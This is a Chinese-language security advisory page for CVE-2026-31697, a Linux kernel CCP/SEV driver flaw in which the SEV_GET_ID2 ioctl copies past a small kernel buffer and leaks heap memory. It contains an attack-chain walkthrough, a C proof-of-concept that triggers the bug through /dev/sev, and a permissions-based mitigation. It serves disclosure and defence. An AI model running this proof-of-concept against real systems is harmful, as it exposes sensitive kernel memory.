IPBUF安全漏洞报告
English
CVE-2026-31697 CVSS 7.1 高危

CVE-2026-31697 Linux内核CCP驱动信息泄露漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31697
漏洞类型
信息泄露
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel信息泄露CCP驱动本地漏洞KASAN

漏洞概述

Linux内核中的crypto模块CCP驱动存在安全漏洞。在处理CPU ID检索请求时,如果PSP固件命令执行失败(例如用户空间提供的缓冲区长度不足),驱动程序未能正确处理错误状态,仍尝试将ID数据复制到用户空间。这导致读取超出内核分配缓冲区范围的数据,进而造成内核内存信息泄露。

技术细节

该漏洞位于Linux内核的 `drivers/crypto/ccp/sev-dev.c` 文件中的 `sev_ioctl_do_get_id2` 函数。当用户空间通过ioctl调用 `SEV_GET_ID2` 时,驱动会与PSP固件交互。如果固件返回错误(如 `-EOVERFLOW`,表示用户缓冲区太小),驱动程序本应中止操作。然而,存在逻辑缺陷导致驱动程序在固件报错后仍执行 `copy_to_user`。此时,复制操作使用的长度是固件要求的长度(较大),而内核分配的临时缓冲区大小是基于用户输入(较小)。这种长度不匹配导致 `copy_to_user` 发生越界读取,攻击者可借此读取内核堆内存中的敏感数据,并可能触发KASAN告警导致系统崩溃。

攻击链分析

STEP 1
1. 获取本地访问权限
攻击者需要在目标系统上拥有低权限的本地用户访问权限(PR:L)。
STEP 2
2. 触发漏洞调用
攻击者打开 `/dev/sev` 设备文件,并调用 `SEV_GET_ID2` ioctl 命令。
STEP 3
3. 构造恶意参数
攻击者故意设置一个长度不足的用户空间缓冲区,导致PSP固件命令返回长度错误。
STEP 4
4. 内核越界读取
驱动程序未正确处理固件错误,使用固件返回的大长度从内核小缓冲区复制数据,导致 slab-out-of-bounds。
STEP 5
5. 信息泄露
内核内存中的敏感数据被复制回用户空间,造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/sev.h> // This PoC attempts to trigger the slab-out-of-bounds in sev_ioctl_do_get_id2 // by providing a buffer that is likely too small for the firmware response. #define SEV_DEVICE "/dev/sev" // SEV_GET_ID2 command number (typically 2 or defined in kernel headers) #ifndef SEV_GET_ID2 #define SEV_GET_ID2 2 #endif int main() { int fd = open(SEV_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open " SEV_DEVICE); return 1; } printf("[+] Opened %s\n", SEV_DEVICE); // Prepare the data structure for the ioctl struct sev_user_data_get_id2 data = {0}; // Allocate a small buffer to trigger the 'invalid length' error path in firmware // The firmware might require 64 bytes, but we allocate less or set length to 0 unsigned long buf_size = 0; data.address = (unsigned long)malloc(buf_size); data.length = buf_size; printf("[*] Sending SEV_GET_ID2 ioctl with small buffer...\n"); // Trigger the vulnerability int ret = ioctl(fd, SEV_GET_ID2, &data); if (ret < 0) { perror("[-] Ioctl failed (expected), but kernel memory might have been leaked"); } else { printf("[+] Ioctl succeeded\n"); } if (data.address) { free((void *)data.address); } close(fd); return 0; }

影响范围

Linux Kernel (修复补丁之前的版本)

防御指南

临时缓解措施
由于该漏洞需要本地访问权限才能利用,管理员可以通过修改 `/dev/sev` 设备的权限,仅允许授权用户或特定组访问,从而降低低权限用户利用该漏洞的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表